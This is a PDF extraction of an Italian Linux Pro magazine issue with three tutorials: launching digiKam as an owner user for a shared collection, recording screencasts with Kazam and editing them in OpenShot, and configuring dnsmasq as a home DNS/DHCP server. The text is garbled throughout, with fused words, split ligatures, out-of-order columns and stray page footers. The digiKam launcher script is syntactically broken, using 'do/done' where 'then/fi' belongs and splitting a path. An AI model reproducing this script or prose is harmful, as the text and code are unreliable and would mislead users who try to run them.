Dovrete anche spiegare ai vostri collaboratori come lanciare digiKam in modalità proprietario quando devono aggiungere immagini, etichette o valutazioni in quella raccolta. in poche parole, dovete creare semplici script della shell che creano un blocco del file e lanciano digiKam, poi configurare tutti gli utenti (e i computer) di Linux coinvolti in modo che gli utenti possano lanciare quello script (dalla riga di comando o facendo click su di un’icona della scrivania) con l’identificativo utente prova_1. in teoria, gli script potrebbero essere semplici come questi due, dopo la configurazione corretta del comando sudo: ~>cat /home/prova1/digikam_owner #! /bin/bash if [ -d “/home/prova1/digikam_owner_lock” ] do echo “Attenzione: qualcun altro sta già lavorando in modalità proprietario!” exit done mkdir /home/prova1/digikam_owner_lock /usr/bin/digikam && rmdir /home/prova1/digikam_ owner_lock ~>cat digikam_launcher #! /bin/bash xhost local:prova_1 sudo -u prova_1 -- /home/prova1/digikam_owneril primo script termina con un avviso se la cartella /home/prova1/digikam_owner_lock esiste. Altrimenti,

crea quella cartella, avvia digiKam e rimuove la stessa cartella quando si esce da digiKam. in pratica, questa è davvero la parte che dipende più strettamente da quale distribuzione usate, dalla sua configurazione e dalle vostre personali preferenze, abitudini e livello di paranoia. Dovete scoprire da soli cosa vuol dire “avviare un programma come altro utente” nel vostro specifico caso, ma è certamente fattibile ed è tutto quello che dovrete fare.

Un approccio alternativoun approccio completamente differente può essere eseguire digiKam come proprietario in una sessione nx (controllate www.nomachine.com per i dettagli) per l’utente prova_1, che potrebbe persino essere avviata da remoto e/o da computer Windows. il procedimento proposto separa, per quanto riguarda la raccolta condivisa, tutte le attività di digiKam che richiedono la modifica del database e dei metadati dalle altre, riservando le prime a un utente a parte. in questo scenario, gli utenti possono sfogliare e ricercare (ma non modificare!) tutti gli album e le immagini di quella raccolta quando usano il loro digiKam. possono caricare nei loro database qualsiasi metadato salvato da uno di loro in quelle immagini mentre lavorava in modalità proprietario. Gli utenti saranno anche in grado di utilizzare come vogliono, in qualsiasi momento, tutte (e sole) le loro raccolte personali. Qualsiasi tentativo (volontario o meno) di modificare la raccolta di famiglia fallirà, perché solo l’utente proprietario ha i diritti di scrittura per le sue cartelle e può vedere il suo database reale da digiKam. il primo limite di questa soluzione è che si deve avviare un altro digiKam per modificare la raccolta condivisa. inoltre, gli utenti devono ricaricare i metadati manualmente ogni volta che sfogliano la raccolta condivisa dal loro digiKam personale. È un piccolo prezzo da pagare, se considerate quanto lavoro può risparmiarvi. un problema più considerevole è che i dati che digiKam non scrive sulle immagini, come le didascalie e le categorie degli album, rimarranno visibili (e utilizzabili) solo quando si esegue digiKam proprietario. Se questo sia o meno un problema concreto, dipende dal vostro uso di digiKam. Se nei fatti lo è, la non semplice, ma fattibile soluzione è di scrivere ulteriori script che copino periodicamente tutti quei dati dal database proprietario a quelli personali, o appena prima che digiKam sia avviato. LXP

I metadati specifici di un’immagine aggiunti in modalità proprietario rimango accessibili persino dal profilo personale di ogni utente!

LXP130_56-59_digikam 59 06/06/13 12:25

Page 62: Linuxpro 130 Giugno 2013

60 Linux pro 130

Screencasting Registrate tutorial video e trasmetteteli in Internet

differiscono di molto per qualità. Dopo aver provato diversi di questi applicativi, Kazam risulta essere di gran lunga il più affidabile. Kazam è disponibile, per quanto riguarda la maggior parte delle distribuzioni, tra i repository di pacchetti di default e presenta un’interfaccia grafica facile da usare e da configurare. per ubuntu, invece, l’ultima versione è installabile digitando nel terminale i comandi seguenti: sudo add-apt-repository ppa:kazam-team/unstable-series sudo apt-get update sudo apt-get install kazaminstallate dunque Kazam per la vostra distribuzione e cliccate sulla sua icona per farlo partire. una volta avviato, si aprirà una finestra molto semplice, così come potete vedere nella Fig.1. Kazam possiede quattro modalità di funzionamento di base.∆ Fullscreen: in questa modalità potrete registrare l’intero schermo, incluso tutto l’ambiente desktop. Questo risulta particolarmente utile per quei tutorial in cui dovete usare sia il gestore del desktop, sia gli applicativi che ne fanno parte.∆ All screens: se avete installato un doppio monitor, potrete usare questo comando per registrare da tutti gli schermi. non è sempre un modo molto pratico di procedere, però, specialmente utilizzando i due monitor in modalità estesa: il video risultante potrebbe apparire non perfetto quando riprodotto su uno schermo singolo.∆ Window: con questa modalità, potrete scegliere una finestra da cui registrare. Questa è una fantastica possibilità se volete che il vostro video si focalizzi su un applicativo specifico.∆ Area: la modalità Area è, probabilmente, quella più utile presente in Kazam. in questo modo, potrete scegliere una porzione di schermo e tutto quanto succede in quell’area verrà registrato di conseguenza. Ciò risulterà di grande utilità se vorrete usare, nel vostro video, applicativi diversi, senza però comprendere l’ambiente desktop circostante.per selezionare una di queste differenti modalità, non dovrete far altro che cliccare sulla relativa icona nella finestra di Kazam. A seconda della modalità scelta, vi verrà chiesto di selezionare ulteriori opzioni per poter continuare. per esempio, nella modalità Window vi verrà richiesto di selezionare una finestra, mentre nella modalità Area dovrete indicare, delineandola, la porzione di schermo che dovrà essere catturata. Sempre nella Fig.1, potete vedere come la finestra di Kazam presenti anche ulteriori opzioni. potete, infatti, decidere se catturare il movimento del mouse oppure no. La cattura del mouse è di particolare utilità nel caso di tutorial in cui sia necessario mostrare all’utente anche dove cliccare. potrete anche scegliere se catturare l’audio di sistema e/o quello proveniente dal microfono. Catturare l’audio è, ovviamente, di basilare importanza in quei tutorial che richiedono una spiegazione “a voce” di quanto sta succedendo sullo schermo.

uno dei fenomeni più incredibili tra quelli che hanno coinvolto la rete è stata la cosiddetta “rivoluzione video”. probabilmente cominciata da

YouTube e incrementata poi da Vimeo e altri servizi analoghi, ha dato l’opportunità a chiunque possieda un computer e una videocamera di inviare e diffondere messaggi video al mondo intero. Messaggi che spaziano da quelli di capitale importanza, come gli appelli per una campagna contro il cancro, a quelli più frivoli su gattini che giocano con un aspirapolvere. Ciò significa che, a prescindere dal tipo di messaggio, si può essere certi dell’esistenza di un pubblico per (quasi) tutto. Mentre questa rivoluzione video avanzava, un’altra rivoluzione, anche se di minori proporzioni, stava avendo luogo: la crescita del mondo video su Linux. Mentre l’editing video è sempre stato uno spauracchio per gli utenti di questo sistema operativo, l’aumentare del numero di tool dedicati e codec adatti lo ha di fatto trasformato in una potentissima piattaforma video. un aspetto dell’editing video poco conosciuto ma dalle innumerevoli potenzialità sul quale vale la pena soffermarsi è lo screencasting.

Condividete il vostro schermoLo screencasting è l’arte di registrare ciò che accade sul desktop del vostro computer per poi confezionare dimostrazioni “live” di software e funzionalità varie o, più comunemente, per insegnare ad altri come utilizzare tutto il patrimonio di strumenti e programmi disponibili sulla piattaforma Linux. Fortunatamente, lo screencasting non è soltanto semplice da affrontare per chi è alle prime armi, ma anche molto soddisfacente per i risultati che si possono ottenere. Come si può immaginare, esiste tutta una varietà di strumenti diversi per la registrazione dell’attività del vostro schermo ma, purtroppo, la maggioranza di questi non

1 Kazam presenta un’interfaccia utente semplice e pulita

FACile

Kazam: un registratore per il vostro schermoVi presentiamo un metodo divertente per creare video interessanti e utili da usare, per esempio, nel caso dobbiate aiutare altri utenti nel processo di apprendimento di linux

LXP130_60-63_kazam 60 06/06/13 12:24

Page 63: Linuxpro 130 Giugno 2013

Linux pro 130 61

Screencasting Tutorial

œ

una volta confi gurate tutte queste opzioni, cliccate sul pulsante Capture e un conto alla rovescia partirà sul vostro schermo. una volta terminato, la registrazione del vostro screencast si avvierà automaticamente. per fermare la registrazione o per metterla in pausa, cliccate sull’indicatore presente nella riga di sistema del vostro desktop e selezionate Termina registrazione o Metti in Pausa del menu a tendina.

Confi gurare Kazamora che avete imparato come fare per registrare immediatamente il vostro video, ecco le altre semplici impostazioni di Kazam che è bene conoscere. potrete accedere alla fi nestra di confi gurazione cliccando su File ➠ Preferences. La prima impostazione che potreste voler variare è il Framerate, cioè la frequenza di cattura dei fotogrammi del vostro fi lmato. Questa si trova sotto l’etichetta Screencast. Di default, il valore impostato è 15 fotogrammi al secondo che, se normalmente accettabile, non darà, come risultato, il video più fl uido del mondo. in effetti, è proprio questo il momento in cui dovrete affrontare una delle domande più diffi cili tra quelle che affl iggono chi si diletta con gli screencast: di quanto è possibile aumentare il framerate per mantenere, comunque, la qualità del video accettabile? È una domanda da considerare con attenzione e la risposta dipende tutta da che tipo di contenuto volete registrare. per esempio, se volete dedicarvi a un applicativo non molto pesante, probabilmente potrete aumentare il numero dei fotogrammi fi no a 30 al secondo, su un computer con buone specifi che tecniche. Se, invece, il vostro obiettivo è un gioco molto pesante, o un applicativo per il video editing, potrebbe succedere che 15 fotogrammi al secondo siano anche troppi. Cercate di valutare sia velocità del vostro pC sia il peso dell’applicativo del quale effettuare lo screencast e fate alcune registrazioni di prova: dopo qualche tentativo troverete le impostazioni ottimali. un altro fatto da tenere presente è l’audio. registrare dal microfono o dall’uscita delle casse del vostro pC ha sicuramente un costo in termini di risultato fi nale. L’argomento della registrazione dell’audio, a ogni modo, verrà affrontato più avanti in questo articolo, quando si parlerà anche dei fattori di produzione. Anche qui, però, la soluzione sta nel provare e riprovare. Giocate con le diverse sorgenti audio e vedete come il video si presenta una volta terminato. un’altra impostazione che potrete confi gurare è il formato video con il quale Kazam effettua la registrazione.

non che siano disponibili molte opzioni qui ma il formato rAW è, senza dubbio, quello da preferire. Questo formato richiede una codifi ca poco complessa e, proprio per questa ragione, ha un rendimento di gran lunga migliore rispetto alle altre opzioni. Dunque, meglio registrare il proprio screencast in rAW, farne l’editing con OpenShot e codifi carlo alla fi ne in un formato più “amichevole”: non esiste una vera ragione per impostare il formato fi nale direttamente in Kazam per poi ritrovarsi con un risultato deludente.

i fattori di produzioneuno dei vantaggi dello screencasting è che gli strumenti dedicati sono veramente semplici da utilizzare, tanto che nei pochi paragrafi precedenti sono state illustrati tutte le funzionalità fondamentali di Kazam. Sfortunatamente, però, limitarsi a premere il pulsante di registrazione non garantisce automaticamente uno screencast di buon livello. per questa ragione bisogna sempre considerare quei fattori che sono fondamentali nella produzione di un video. Tali elementi rappresentano, nella sostanza, le decisioni che dovrete prendere su come creare il vostro contenuto e la tecnologia che utilizzerete per produrlo. il primo fattore sul quale vale la pena concentrarsi è la “storia” del vostro screencast. ogni fi lmato che intendiate creare dovrebbe raccontare una storia, completa di inizio, sviluppo e fi nale soddisfacente. pensate attentamente a cosa potrebbe rendere

2 OpenShot è l’ideale per l’editing dei vostri screencast

Scegliere un microfonoScegliere un microfono di buona qualità può fare la vera differenza nella riuscita fi nale del vostro screencast. prima di tutto, si raccomanda l’acquisto di un adattatore Shure x2u, che permetterà di collegare un microfono all’ingresso uSB del computer, poi di uno dei microfoni descritti qui sotto.

∆ Shure SM54un veterano in quanto a fl essibilità, l’SM54 vanta una lunga storia perché utilizzato sia per le registrazioni vocali che per quelle strumentali. È un buono strumento di lavoro, adatto a tutti gli usi, con un prezzo ragionevole.

∆ Sennheiser e835Quello che molti ritengono essere la risposta allo Shure SM54, lo Sennheiser E835 è un fantastico microfono polivalente con ottime performance vocali.

∆ AKG C2000in questo caso si ha a disposizione un eccellente microfono a condensatore che fornisce davvero un’ottima qualità audio. Collegato al vostro pC durante lo screencast, vi farà apparire come dei veri professionisti.

LXP130_60-63_kazam 61 06/06/13 12:24

Page 64: Linuxpro 130 Giugno 2013

62 Linux pro 130

Tutorial Screencasting

lo svolgimento del vostro screencast accattivante. per fare un esempio pratico, se intendete registrare uno screencast per illustrare l’utilizzo di GiMP, limitandovi a mostrare uno dopo l’altro tutti i suoi comandi, l’inevitabile risultato sarà un video mortalmente noioso. Se, al contrario, inizierete la vostra registrazione raccontando a chi lo guarderà come creare qualcosa (ad esempio una locandina di un fi lm), racconterete anche la storia di come attraverso un certo processo si arriverà a ottenere un risultato fi nale gradevole. insomma, gli screencast migliori sono quelli che seguono una storia ben defi nita come quella sopra descritta. Strettamente correlato alla storia c’è poi il “copione”. Alcuni sono così bravi e talentuosi che le parole fl uiscono dalle loro bocche in modo naturale e senza troppi sforzi, formando testi ben strutturati e coinvolgenti. Sfortunatamente, la maggior parte delle persone tende a riempire il parlato con espressioni quali ehm, mmmm, eh e varie pause. ognuna di queste “interferenze” darà all’intero video un aspetto grezzo e poco curato. una soluzione piuttosto semplice a questo problema è rappresentata dal copione. Scrivere una sorta di copione non solo riduce i rischi di suoni inarticolati, ma vi lascia anche più spazio per pensare alle parole più specifi che, alle descrizioni e alle frasi più adatte da utilizzare nel vostro video. Sedervi e scrivere quello che intendete comunicare renderà il contenuto del vostro video meno improvvisato e più mirato. L’altro lato della medaglia, tuttavia, è che il copione di un discorso, seppure molto curato, presenta a volte l’inconveniente di ridurre la spontaneità del parlato nel video. Ancora una volta, è solo questione di equilibrio. per scrivere il vostro copione, è consigliabile usare un elaboratore di testi come libreOffi ce e inserire degli spazi bianchi tra i vari capoversi. Questo renderà più semplice la lettura mentre girerete il vostro screencast. ovviamente, per non far comparire la pagina del vostro copione sullo schermo, dovrete stamparlo prima e sistemarlo in un punto dove sia facile leggerlo o, ancora meglio, potreste salvarlo nel formato pDF e aprirlo su un altro computer o su un tablet. Questo aggiungerà anche il vantaggio di passare da una pagina all’altra senza che il fastidioso fruscio tipico della carta venga catturato dal microfono. un altro elemento importante sul quale vale la pena soffermarsi è la modalità di registrazione dell’audio del vostro screencast. Mentre la parte video di molti screencast appare perfettamente all’altezza della situazione, lo stesso non si può dire per la parte audio. Spesso, infatti,

il suono viene registrato a un volume troppo basso, in modo frammentario, con brusii di fondo o troppo distante. Generalmente, questi problemi hanno due cause: il tipo di microfono utilizzato e la modalità di connessione al pC. Qualcuno potrebbe pensare che sia suffi ciente usare il microfono integrato nel portatile, ma questa non è la cosa migliore da fare. prima di tutto, la qualità dei microfoni interni è, di solito, piuttosto bassa; inoltre, questi tendono a produrre un suono molto distante poiché raccolgono tutti i rumori di fondo dell’ambiente circostante, come ronzii di apparecchi elettronici, il rumore della lavatrice o quello dei bambini che giocano. Meglio, quindi, scegliere un microfono di qualità più alta e che sia direzionale. Questo signifi ca che quel microfono registrerà solo l’audio della sorgente verso la quale viene puntato, ossia la vostra bocca, in questo caso.Anche pensare di utilizzare uno di quei microfoni lunghi e sottili per pC non è, per diverse ragioni, una buona idea. per prima cosa, la qualità di questo tipo di microfoni è generalmente molto bassa (anche se sono più direzionali di un microfono interno) e si collegano al portatile tramite l’ingresso per il microfono che, per lo più, presenta una qualità altrettanto terribile. insomma, anche inserendo un microfono di qualità elevata all’ingresso microfono di un normale portatile, si otterrà un pessimo risultato. Questo succede perché i circuiti di alimentazione dei notebook sono collocati spesso proprio vicino all’ingresso del microfono e fi niscono con il creare disturbi e rumori che si ripercuotono sul vostro screencast. A questo punto verrebbe spontaneo chiedersi che strumenti sia necessario usare, dopo aver eliminato tutti quelli di utilizzo più immediato. il modo migliore di procedere è adottare una scheda audio esterna specifi catamente dedicata (possibilmente alimentata via uSB o Firewire), oppure acquistare un convertitore da uSB a xLr come lo Shure X2U. Questo dispositivo fornisce un connettore xLr di altissima qualità (di solito viene usato per l’audio professionale) al quale poi connettere un normale microfono di buona qualità come, tra gli altri, lo Sennheiser E835. in questo modo, sono garantiti risultati eccellenti. un consiglio per una soluzione ottimale prevede l’uso di un secondo computer specifi catamente dedicato alla cattura dell’audio. potrete, quindi, registrare il video dello screencast dal portatile e usare l’altro computer per registrare l’audio tramite l’utilizzo di un connettore xLr.Affi nché il video e l’audio risultino perfettamente sincronizzati, uno dei metodi che potreste adottare è quello di iniziare a registrare il video e l’audio e quindi contare fi no a dieci nel microfono e, nello stesso tempo, digitare sulla tastiera 1, 2, 3, ecc. mentre si conta. in questo modo, sarà poi facile allineare la parte audio al video utilizzando in un secondo tempo un programma di video editing. non dovrete far altro, infatti, che individuare i picchi sonori sia nel video sia nella registrazione audio: sovrapponeteli e cancellate la traccia audio del video. Questa soluzione è quella che vi garantirà la massima qualità sia per quanto riguarda il video che il suono.

l’editinguna volta registrato il vostro screencast, potreste immediatamente caricarlo e renderlo disponibile agli utenti, ma è di gran lunga preferibile sottoporlo prima a un accurato processo di editing. L’editing dello screencast vi permetterà di aggiungere una introduzione, sovraimpressioni e ulteriore contenuto, così come apportare miglioramenti all’immagine e al suono affi nché ne risulti aumentata la qualità generale

Promuovere il vostro screencastCosì, dopo aver trascorso ore nell’impresa di perfezionare il vostro screencast, curando nei minimi dettagli ogni fattore della sua produzione, è fi nalmente online, pronto per essere visto e rivisto. Certamente sarete fi eri del lavoro svolto, ma ora tutto quello di cui avete bisogno per sentirvi ricompensati è una certa quantità di visite. Come fare per ottenerle?Esistono alcune semplici tecniche che potrete adottare per promuovere il vostro video, per esempio:∆ usare Twitter, Facebool e Google+: i social network contribuiscono a diffondere media innovativi e nuovi contenuti, così utilizzateli anche come canali di diffusione del vostro video;∆ contattare i podcaster: i podcaster sono sempre alla ricerca di nuovi media

e contenuti, cercate quindi di contattarli per raccontare loro cosa avete fatto. potrebbero, a questo punto, consigliare proprio il vostro screencast durante una loro trasmissione;∆ contattare i gruppi di riferimento: se avete prodotto uno screencast su GiMp, ad esempio, potreste mandare una mail al GiMp project italia per fargli conoscere l’esistenza del vostro video, che potrebbe essere poi inserito sul suo sito Web;∆ fate crescere il vostro canale: una volta caricato il video, potreste indicare agli utenti sia il video stesso che il canale dove sono disponibile gli altri vostri video. promuovete il vostro canale e incoraggiate i visitatori a iscriversi: in questo modo vedranno automaticamente anche gli screencast futuri.

LXP130_60-63_kazam 62 06/06/13 12:24

Page 65: Linuxpro 130 Giugno 2013

Linux pro 130 63

Screencasting Tutorial

dello screencast. Su Linux esistono diversi applicativi per l’editing video, ma uno dei migliori è senza dubbio OpenShot. Anche se in questo articolo non si esamineranno tutte le caratteristiche di questo programma, troverete comunque descritte quelle funzionalità di editing sulle quali vale la pena soffermarsi. La prima cosa da fare è migliorare la qualità sia del video che dell’audio. Sul lato video, si potrebbe voler intervenire sulla nitidezza e sul contrasto e anche sistemare il bilanciamento dei colori affinché l’aspetto finale dello screencast risulti più pulito. inoltre, in alcune sue parti, si potrebbe applicare un po’ di zoom, così da rendere più facile la visione di quanto sta succedendo sul monitor, per esempio, nel caso in cui si stia configurando una specifica area di una finestra. per quanto concerne l’audio, si dovrebbe sicuramente intervenire sulla compressione della voce. in questo caso, con “compressione” non si intende la riduzione delle dimensioni di uno o più file: nel mondo dell’audio, il termine “compressione” si riferisce all’applicazione di un filtro che rende il volume troppo alto di alcune parti più basso, e il volume troppo basso un po’ più alto. il risultato finale di questo intervento sarà una migliore qualità di tutto il video e un suono più equilibrato. Sarà possibile apportare modifiche come queste per mezzo di filtri presenti nei software per l’editing audio come Audacity, Jokosher o Ardour. L’operazione successiva sarà quella di dare una bella sforbiciata al vostro video: dovrete tagliar via ogni errore e tutto ciò che risulta inutile e ridondante. il vostro scopo qui è quello di rendere lo screencast più snello e mirato, non di tagliare così tanto contenuto da rendere il video frammentato. Secondo la regola generale, i tagli non dovrebbero mai vedersi né sentirsi. L’editing, in poche parole, dev’essere invisibile in quanto tutti i tagli devono essere applicati in maniera da far pensare che i frammenti eliminati non siano mai esistiti nel video originale. Si potrebbe dire, addirittura, che l’editing effettuato in questo modo sia quasi una forma d’arte. La maniera migliore per imparare a fare del buon editing, dunque, è visionare altri video per vedere come sono stati modificati. più facile a dirsi che a farsi, ovviamente, visto che il buon editing, come si è detto, è, di fatto, invisibile agli occhi della maggior parte delle persone. Quando guardate un video tentate comunque di focalizzare l’attenzione proprio su questo aspetto e cercate di registrare le tecniche che anche voi potreste utilizzare nel vostro lavoro. un’altra attività di editing consigliabile è quella di aggiungere al video un’introduzione e una conclusione. Ad esempio, invece di gettarvi immediatamente nella registrazione del contenuto, create un altro video introduttivo di dieci secondi, magari con qualche bell’effetto grafico e di suono, da aggiungere all’inizio del vostro screencast. Allo stesso modo, inserite un piccolo video di chiusura alla fine, che potrebbe anche essere utile per presentare ringraziamenti e riconoscimenti (per esempio i ringraziamenti per il materiale usato nel vostro screencast). una volta completate tutte le operazioni di editing sul vostro video, dovrete esportarlo in un formato che vi consentirà la sua condivisione con gli altri utenti. Dovrete riflettere su come questi potrebbero fruire del vostro contenuto: scaricandolo e riproducendolo localmente, oppure - scelta sempre più comune - visualizzandolo tramite lo streaming da un servizio come YouTube. Si consiglia fortemente la secondo opzione, proprio con servizi come YouTube o Vimeo. prima di tutto, questo significa che non dovrete utilizzare risorse personali per ospitare un file video che è comunque pesante e, come seconda cosa, che non dovrete preoccuparvi

del formato video più adatto ai diversi dispositivi utilizzati dagli utenti. in effetti, succede spesso che cercare di avere un video che funzioni bene su qualsiasi computer o su dispositivi diversi, quali smartphone e tablet, può trasformarsi in un vero e proprio incubo. Quando, al contrario, si utilizzano servizi come YouTube, Vimeo o altri, tutti questi problemi spariscono e basterà solo preoccuparsi dei formati da questi supportati. Controllate, quindi, i vari formati che il vostro servizio di video online supporta e semplicemente utilizzatene uno. per finire, prestate particolare attenzione al momento di aggiungere il titolo, la descrizione e i tag al vostro screencast caricato online. Scegliere la lingua più adatta e scrivere una descrizione mirata, che spieghi lo scopo del vostro screencast, sono tutte cose che possono aumentare, in modo significativo, le probabilità che il vostro video compaia tra i risultati nei motori di ricerca. Ancora, accertatevi di aggiungere sia tag generali che tag più specifici. Ad esempio, se il vostro screencast ha per argomento GiMp, tra i vari tag badate di includere anche “editor di immagini”, “grafica”, “produttività”, così che il vostro filmato possa potenzialmente venire scoperto anche tra i risultati delle relative ricerche.

Per concluderein questo articolo si è fatta una veloce disanima di tutto ciò che bisogna considerare quando si vuole produrre uno screencast di buona qualità. Se, da un lato, la tecnologia utilizzata è piuttosto semplice, dall’altro il vostro scopo principale dovrà essere quello di discostarvi dalla moltitudine dei video esistenti facendo il miglior uso possibile dei vari fattori di produzione, affinché possiate raccontare una storia interessante e coinvolgente. Con così tanto da fare nel campo della documentazione e con così tante opportunità per aiutare le persone sia a comprendere che a utilizzare la tecnologia, gli screencast rappresentano un modo fantastico per supportare gli utenti nei loro primi passi. ovviamente, questo articolo non può che chiudersi con la speranza che quanto indicato possa darvi la giusta ispirazione. Buona fortuna! lXP

3 YouTube è pieno di screencast che potrete usare come fonte di ispirazione per il vostro lavoro

LXP130_60-63_kazam 63 06/06/13 12:24

Page 66: Linuxpro 130 Giugno 2013

64 LINUX PRO 130

Networking Tenete sotto controllo i nomi di tutti i computer di casa vostra

pubblici, ma si ricorda della risposta, così se un altro computer della vostra rete locale ha bisogno dello stesso indirizzo non c’è bisogno di inviare una nuova richiesta su Internet. Potete scaricare i sorgenti da www.thekelleys.org.uk/dnsmasq/ oppure installarlo usando il gestore di pacchetti della vostra distro. Per lavorare come semplice caching server della vostra LAN, dnsmasq non ha bisogno di alcuna speciale confi gurazione. Se il computer su cui lo installate è già in grado di comunicare con Internet grazie a una corretta impostazione del fi le /etc/resolv.conf (il fi le contenente gli indirizzi dei server DNS da usare) e con la rete locale perché tutti gli indirizzi importanti sono elencati in /etc/hosts, dovrete semplicemente installare il software e farlo partire. Questo perché, per default, per risolvere un nome, dnsmasq guarda per prima cosa in /etc/hosts e poi in /etc/resolv.conf. Sugli altri computer della vostra rete locale dovrete semplicemente confi gurare come server DNS primario l’indirizzo IP del computer su cui gira dnsmasq. Su Linux questo signifi ca modifi care /etc/resolv.conf in modo che si presenti così: nameserver 192.168.1.1sostituendo a 192.168.1.1 l’indirizzo del server dnsmasq. Se i vostri computer ricevono le informazioni di connessione dal router per mezzo del protocollo DHCP, dovrete impostare l’indirizzo del server dnsmasq nell’interfaccia Web del router, in modo che comunichi a tutti i dispositivi di usarlo come server DNS primario.Avere un server DNS locale è molto comodo quando tutti i dispositivi sono confi gurati staticamente, perché permette di conservare tutte le informazioni sulla LAN in un unico posto, ma molti dispositivi usano una confi gurazione dinamica per mezzo di DHCP, quindi come fa dnsmasq a conoscere il loro indirizzo? La soluzione è molto semplice: dnsmasq contiene un server DHCP. Dato che il server DHCP distribuisce in giro gli indirizzi IP, è in grado di conoscere quello assegnato a ciascun dispositivo della LAN: ha quindi molto senso combinare le due funzioni, esattamente quello che fa dnsmasq. Se vogliamo che lavori anche come server DHCP, dobbiamo modifi care il suo fi le

Ci fu un tempo in cui era una cosa eccezionale avere un computer in casa. Poi abbiamo iniziato a usare Internet e svariati aggeggi

collegati in Rete, ma tutti i problemi erano risolti dall’ISP e dal modem. Se aggiungevate un secondo computer era abbastanza semplice impostare degli indirizzi statici e tenere traccia di cosa era cosa. Ora abbiamo numerosi dispositivi connessi in casa, alcuni dei quali da postazioni diverse. Questo signifi ca che è necessaria una qualche forma di confi gurazione automatica per gestire gli indirizzi, assegnarli ai dispositivi quando richiesto e per consentire loro di conoscere quello assegnato a un altro con cui intendono parlare. In queste operazioni entrano in gioco due differenti protocolli. DNS (Domain Name Service) è l’elenco del telefono di Internet: permette di trovare l’indirizzo IP di un computer di cui si conosce il nome, che si tratti del portatile nell’altra stanza o di un potente motore di ricerca. DHCP (Dynamic Host Confi guration Protocol) è invece lo strumento che permette a un dispositivo di dire “Ciao, io sono qui” alla Rete e di ricevere una risposta che gli assegna un indirizzo IP e gli fornisce altre informazioni utili, come quelle relative all’instradamento (routing) e agli indirizzi dei server DNS.

Domain Name ServiceI server DNS sono di solito messi a disposizione dal vostro ISP; in alternativa è possibile usare server aperti gestiti da grandi aziende come Google od OpenDNS. Questi server però conoscono solo gli indirizzi pubblici: come fare quando occorre l’indirizzo di un dispositivo che si trova sulla vostra rete locale? In passato veniva mantenuta una lista di tutti gli host locali e dei relativi indirizzi nel fi le /etc/hosts di ciascuno di essi, ma ormai questa soluzione non è più praticabile, non solo a causa dell’aumento del numero dei dispositivi da tenere aggiornati, ma anche perché usare indirizzi statici per dispositivi mobili è scomodo e praticamente impossibile.dnsmasq è un server DNS che mantiene una cache locale e che è stato pensato per essere usato in una LAN. Presenta un paio di vantaggi rispetto all’uso diretto di server su Internet. Il primo è che potete informarlo sulla confi gurazione locale, in modo che sia in grado di risolvere i nomi di tutti i vostri dispositivi. Il secondo risiede nella sua capacità di mantenere una cache: se il nome di un host non è elencato nel fi le /etc/hosts locale, dnsmasq chiede la sua risoluzione ai server DNS

Dentro i router

Abbiamo descritto come far girare dnsmasq come servizio su un computer, ma alcuni router già lo usano per fornire servizi DHCP e una cache DNS. Quasi tutto quello di cui abbiamo parlato può essere trasferito a un’installazione embedded di dnsmasq, purché il router dia modo di accedere ai fi le di confi gurazione. Di solito l’accesso avviene

attraverso l’interfaccia Web del router, all’interno della quale è possibile incollare in un’area di testo le opzioni che di solito andrebbero all’interno di un fi le di confi gurazione. Se il vostro router usa DD-WRT, OpenWRT o OpenWAG potrete anche collegarvi ad esso via SSH e modifi care direttamente i fi le.

INTERMEDIO

Un server DNS con dnsmasqEcco come confi gurare un server per il Domain Name Service (DNS) usando dnsmasq

Tenendo la confi gurazione di ciascun dispositivo in un fi le separato si semplifi ca molto la gestione della rete interna, per la gioia dei sysadmin

LXP130_64-65_dnsmasq 64 06/06/13 12:24

Page 67: Linuxpro 130 Giugno 2013

LINUX PRO 130 65

Networking Tutorial

di confi gurazione /etc/dnsmasq.conf. Il fi le è installato insieme al programma e contiene tutte le impostazioni di default. C’è quindi il rischio che gli eventuali aggiornamenti del pacchetto lo sovrascrivano, perdendo le nostre eventuali modifi che successive all’installazione. Per evitare questo rischio vi suggeriamo di creare un fi le aggiuntivo in /etc/dnsmasq.d/ e di abilitare, rimuovendo il commento iniziale, la riga conf-dir=/etc/dnsmasq.dall’interno di /etc/dnsmasq.conf. Dovrete abilitare le impostazioni del dhcp-range per far partire il server DHCP: la versione di default della corrispondente riga all’interno di dnsmasq.conf è #dhcp-range=192.168.0.50,192.168.0.150,12hCopiatela nel vostro fi le locale di confi gurazione, eliminate il commento e modifi cate gli indirizzi in modo che corrispondano a quelli della vostra rete. Si tratta dell’indirizzo iniziale e fi nale dell’intervallo che dnsmasq può assegnare ai dispositivi che ne facciano richiesta. La terza opzione riguarda la durata di default del lease, cioè il periodo di validità dell’indirizzo: 12 ore per default. Se il vostro router fornisce un servizio DHCP dovrete disabilitarlo, dato che avere due server DHCP su una rete è molto facilmente fonte di confusione. Dopo aver modifi cato uno qualsiasi dei fi le di confi gurazione di dnsmasq dovrete riavviare il servizio oppure inviare un SIGHUP al corrispondente processo per dirgli di ricaricare le impostazioni: killall -HUP dnsmasq

Instradamento su InternetA questo punto un qualsiasi dispositivo che si connetta alla vostra rete otterrà un indirizzo da dnsmasq e inizierà a usarlo come server DNS di default, ma probabilmente non sarà in grado di collegarsi a Internet. Questo a causa di un altro importante elemento di informazione fornito da un server DHCP: il gateway di default. Dato che non avete indicato a dnsmasq dove si trova, lui pensa che sia lo stesso computer su cui è in esecuzione. Questo funziona quando dnsmasq gira su un router, altrimenti dovrete aggiungere l’indirizzo del router al fi le di confi gurazione: dhcp-option=option:router,192.168.1.2A volte occorre un indirizzo statico: un fi le server non è molto utile se non sapete dove si trova. Potreste confi gurare manualmente il dispositivo in forma statica, ma dovreste aggiungere manualmente altri dettagli alla confi gurazione di dnsmasq in modo che sia in grado di risolverne il nome. Una soluzione più semplice consiste nel continuare a usare la confi gurazione dinamica per il server, dicendo però a dnsmasq di assegnargli sempre lo stesso indirizzo. È un caso in cui l’uso di una directory separata per i fi le di confi gurazione risulta estremamente utile: è infatti possibile avere un fi le per le impostazioni generali e un fi le separato contenente le impostazioni specifi che di ciascun host, rendendo il tutto molto più comodo da gestire. Ecco un esempio preso dalla nostra rete casalinga: dhcp-host=B8:27:EB:8B:6F:CF,192.168.1.11,jeltz txt-record=jeltz,“Raspberry Pi fi le server”L’impostazione dhcp-host è quella che conta. Contiene tre elementi, separati da virgole: il primo è l’indirizzo MAC dell’interfaccia di rete usata per collegare il computer alla rete. Potete scoprirlo dando il comando ifconfi g oppure il comando ip link show o ancora

